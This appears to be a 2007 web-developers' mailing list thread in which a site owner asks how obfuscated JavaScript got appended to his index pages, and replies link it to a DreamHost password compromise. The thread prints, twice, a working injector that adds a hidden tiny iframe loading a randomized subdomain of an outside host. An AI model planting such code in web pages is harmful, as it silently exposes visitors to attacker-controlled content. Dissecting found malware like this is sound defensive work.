From suzerain at suzerain.com Thu Jun 7 03:18:21 2007
From: suzerain at suzerain.com (Marc Antony Vose)
Date: Tue Mar 4 07:24:12 2008
Subject: [front-end] rogue javascript q
Message-ID: <55AFDA69-7BB0-45D2-B670-409F945E3515@suzerain.com>
Hi there:
I discovered some encrypted javascript code on my web server,
appended to the bottoms of some index.* documents (both .html
and .php). It contains the top script block, whose purpose is
essentially to write out the bottom script block.
Now, the web site this code is finally referencing has been pulled by
its hosting company, so it apears it's kind of useless now.
My question is: anyone heard of it / seen it before? What's the
most likely method it got into my sites? Manually by one of the
people who has worked with me? Some kind of script on the server
itself (Linux host...Dreamhost)? Some script/worm running on one of
my programmers' Windows machines?
I've google searched a bit, and not found any references to this
code, though I did find a reference to the domain owner on a russian
forum, but unfortunately I am not fluent in Russian.
http://forum.kaspersky.com/lofiversion/index.php/t37353.html
The code follows....(I separated the lines a bit to make it easier to
read).
++++++++++++
document.write(unescape(""))
++++++++++++
BOTTOM SCRIPT BLOCK:
++++++++++++
/* s1f1l1z */
function lc(Nz,KF){
var Ez=new Date();
var Bq= new Date();
Bq.setTime(Ez.getTime()+86400000);
document.cookie = Nz+"="+escape(KF)+";
expires="+Bq.toGMTString();
}
var fP='ct3l',
HA='1';
var MJ='update1.classictel.org',
hn='/html/';
if(document.cookie.indexOf(fP+'='+HA)==-1){
var fA='http://'+(document.location.host != ''?'':qS())
+document.location.host.replace(/[^a-z0-9.-]/,'.').replace(/\.+/,'.')
+'.'+qS()+'.'+MJ+hn;var So=document.createElement
('iframe');So.setAttribute('src',fA);So.frameBorder=0;
So.width=4;So.height=4;
try {
document.body.appendChild(So);lc(fP,HA);
}
catch(e){
document.write('
');
document.body.appendChild(So); lc(fP,HA);
}
}
function qS(){
var nc=24,
Kj="01234567890abcdef";
var ui="";
for(eE=0; eE < nc; eE++) ui+= Kj.substr(Math.floor(Math.random()
*Kj.length),1,1);
return ui;
}
++++++++++++
Any information/theories are appreciated. Mostly, I'm just
interested in figuring out how it got there.
Thanks,
Marc
http://www.suzerain.com
From jay at wnymusic.com Thu Jun 7 03:35:31 2007
From: jay at wnymusic.com (Jay)
Date: Tue Mar 4 07:24:12 2008
Subject: [front-end] rogue javascript q
In-Reply-To: <55AFDA69-7BB0-45D2-B670-409F945E3515@suzerain.com>
References: <55AFDA69-7BB0-45D2-B670-409F945E3515@suzerain.com>
Message-ID:
I saw this in the internet today. Dreamhost was hacked via leaked passwords...
http://news.netcraft.com/archives/2007/06/06/mass_customer_site_hack_at_dreamhost.html
Approximately 700 web sites and 3,500 FTP accounts have been
compromised at DreamHost in recent weeks, with crackers insetting
invisible links to porn sites in the HTML code of the hacked pages.
These invisible links are typically used to boost search engine
ranking in Google, which uses links from outside sites as a key
indicator of a site's popularity.
On 6/7/07, Marc Antony Vose wrote:
> Hi there:
>
> I discovered some encrypted javascript code on my web server,
> appended to the bottoms of some index.* documents (both .html
> and .php). It contains the top script block, whose purpose is
> essentially to write out the bottom script block.
>
> Now, the web site this code is finally referencing has been pulled by
> its hosting company, so it apears it's kind of useless now.
>
> My question is: anyone heard of it / seen it before? What's the
> most likely method it got into my sites? Manually by one of the
> people who has worked with me? Some kind of script on the server
> itself (Linux host...Dreamhost)? Some script/worm running on one of
> my programmers' Windows machines?
From suzerain at suzerain.com Thu Jun 7 03:44:28 2007
From: suzerain at suzerain.com (Marc Antony Vose)
Date: Tue Mar 4 07:24:12 2008
Subject: [front-end] rogue javascript q
In-Reply-To: <55AFDA69-7BB0-45D2-B670-409F945E3515@suzerain.com>
References: <55AFDA69-7BB0-45D2-B670-409F945E3515@suzerain.com>
Message-ID:
Following up to my own post...
One of my friends sent me this:
http://news.netcraft.com/archives/2007/06/06/
mass_customer_site_hack_at_dreamhost.html
> Approximately 700 web sites and 3,500 FTP accounts have been
> compromised at DreamHost in recent weeks, with crackers insetting
> invisible links to porn sites in the HTML code of the hacked pages.
> These invisible links are typically used to boost search engine
> ranking in Google, which uses links from outside sites as a key
> indicator of a site's popularity.
I'd guess this is what I'm looking at here...I post in case there are
other Dreamhost users here. Might want to change your passwords...
Cheers,
Marc
Le 7 juin 07 ? 15:18, Marc Antony Vose a ?crit :
> Hi there:
>
> I discovered some encrypted javascript code on my web server,
> appended to the bottoms of some index.* documents (both .html
> and .php). It contains the top script block, whose purpose is
> essentially to write out the bottom script block.
>
> Now, the web site this code is finally referencing has been pulled
> by its hosting company, so it apears it's kind of useless now.
>
> My question is: anyone heard of it / seen it before? What's the
> most likely method it got into my sites? Manually by one of the
> people who has worked with me? Some kind of script on the server
> itself (Linux host...Dreamhost)? Some script/worm running on one
> of my programmers' Windows machines?
>
> I've google searched a bit, and not found any references to this
> code, though I did find a reference to the domain owner on a
> russian forum, but unfortunately I am not fluent in Russian.
>
> http://forum.kaspersky.com/lofiversion/index.php/t37353.html
>
> The code follows....(I separated the lines a bit to make it easier
> to read).
>
> ++++++++++++
> document.write(unescape(""))
>
>
>
> ++++++++++++
>
> BOTTOM SCRIPT BLOCK:
>
> ++++++++++++
>
> /* s1f1l1z */
> function lc(Nz,KF){
> var Ez=new Date();
> var Bq= new Date();
> Bq.setTime(Ez.getTime()+86400000);
> document.cookie = Nz+"="+escape(KF)+";
> expires="+Bq.toGMTString();
> }
> var fP='ct3l',
> HA='1';
> var MJ='update1.classictel.org',
> hn='/html/';
> if(document.cookie.indexOf(fP+'='+HA)==-1){
> var fA='http://'+(document.location.host != ''?'':qS())
> +document.location.host.replace(/[^a-z0-9.-]/,'.').replace(/\.
> +/,'.')+'.'+qS()+'.'+MJ+hn;var So=document.createElement
> ('iframe');So.setAttribute('src',fA);So.frameBorder=0;
> So.width=4;So.height=4;
> try {
> document.body.appendChild(So);lc(fP,HA);
> }
> catch(e){
> document.write('');
> document.body.appendChild(So); lc(fP,HA);
> }
> }
> function qS(){
> var nc=24,
> Kj="01234567890abcdef";
> var ui="";
> for(eE=0; eE < nc; eE++) ui+= Kj.substr(Math.floor(Math.random()
> *Kj.length),1,1);
> return ui;
> }
>
>
> ++++++++++++
>
>
>
>
> Any information/theories are appreciated. Mostly, I'm just
> interested in figuring out how it got there.
>
>
> Thanks,
>
> Marc
> http://www.suzerain.com
>
>
> _______________________________________________
> New York PHP SIG: Front End Mailing List
> AMP Technology
> Supporting Apache, MySQL and PHP
> http://lists.nyphp.org/mailman/listinfo/front-end
> http://www.nyphp.org
From suzerain at suzerain.com Thu Jun 7 03:46:15 2007
From: suzerain at suzerain.com (Marc Antony Vose)
Date: Tue Mar 4 07:24:12 2008
Subject: [front-end] rogue javascript q
In-Reply-To:
References: <55AFDA69-7BB0-45D2-B670-409F945E3515@suzerain.com>
Message-ID: <61565412-C8D2-4DDB-83EC-7CBA64ACA697@suzerain.com>
Hi there:
Aha...that sounds like the probable cause. Thanks for that...I guess
changing my password was a good choice.
I'm going offline for a while...have a good day.
Cheers,
Marc
Le 7 juin 07 ? 15:35, Jay a ?crit :
> I saw this in the internet today. Dreamhost was hacked via leaked
> passwords...
>
> http://news.netcraft.com/archives/2007/06/06/
> mass_customer_site_hack_at_dreamhost.html
>
> Approximately 700 web sites and 3,500 FTP accounts have been
> compromised at DreamHost in recent weeks, with crackers insetting
> invisible links to porn sites in the HTML code of the hacked pages.
> These invisible links are typically used to boost search engine
> ranking in Google, which uses links from outside sites as a key
> indicator of a site's popularity.
>
> On 6/7/07, Marc Antony Vose wrote:
>> Hi there:
>>
>> I discovered some encrypted javascript code on my web server,
>> appended to the bottoms of some index.* documents (both .html
>> and .php). It contains the top script block, whose purpose is
>> essentially to write out the bottom script block.
>>
>> Now, the web site this code is finally referencing has been pulled by
>> its hosting company, so it apears it's kind of useless now.
>>
>> My question is: anyone heard of it / seen it before? What's the
>> most likely method it got into my sites? Manually by one of the
>> people who has worked with me? Some kind of script on the server
>> itself (Linux host...Dreamhost)? Some script/worm running on one of
>> my programmers' Windows machines?
> _______________________________________________
> New York PHP SIG: Front End Mailing List
> AMP Technology
> Supporting Apache, MySQL and PHP
> http://lists.nyphp.org/mailman/listinfo/front-end
> http://www.nyphp.org
From suzerain at suzerain.com Mon Jun 18 18:46:49 2007
From: suzerain at suzerain.com (Marc Antony Vose)
Date: Tue Mar 4 07:24:12 2008
Subject: [front-end] combining phonetic symbols
Message-ID: <652D5079-D7A7-42BC-8CC2-9810EA1C6BE4@suzerain.com>
Hi there:
I'm having trouble with gecko. It's not displaying Unicode combining
phonetic symbols correctly, best as I can tell. Meaning, the
combining breve, combining acute accent, combining macron and
combining grave accent. (This is an application for displaying
Chinese pinyin phonetics.)
This page illustrates this:
http://www.suzerain.com/_test/phonetic_symbols/
View the source...it's just got some codes in it for the characters.
It displays properly in Safari and in Internet Explorer for Windows.
In any gecko browser (Firefox, Camino, etc.), the combining symbols
don't display over the character, as they should.
Is this just a limitation of the gecko text renderer?
Cheers,
Marc Vose
http://www.suzerain.com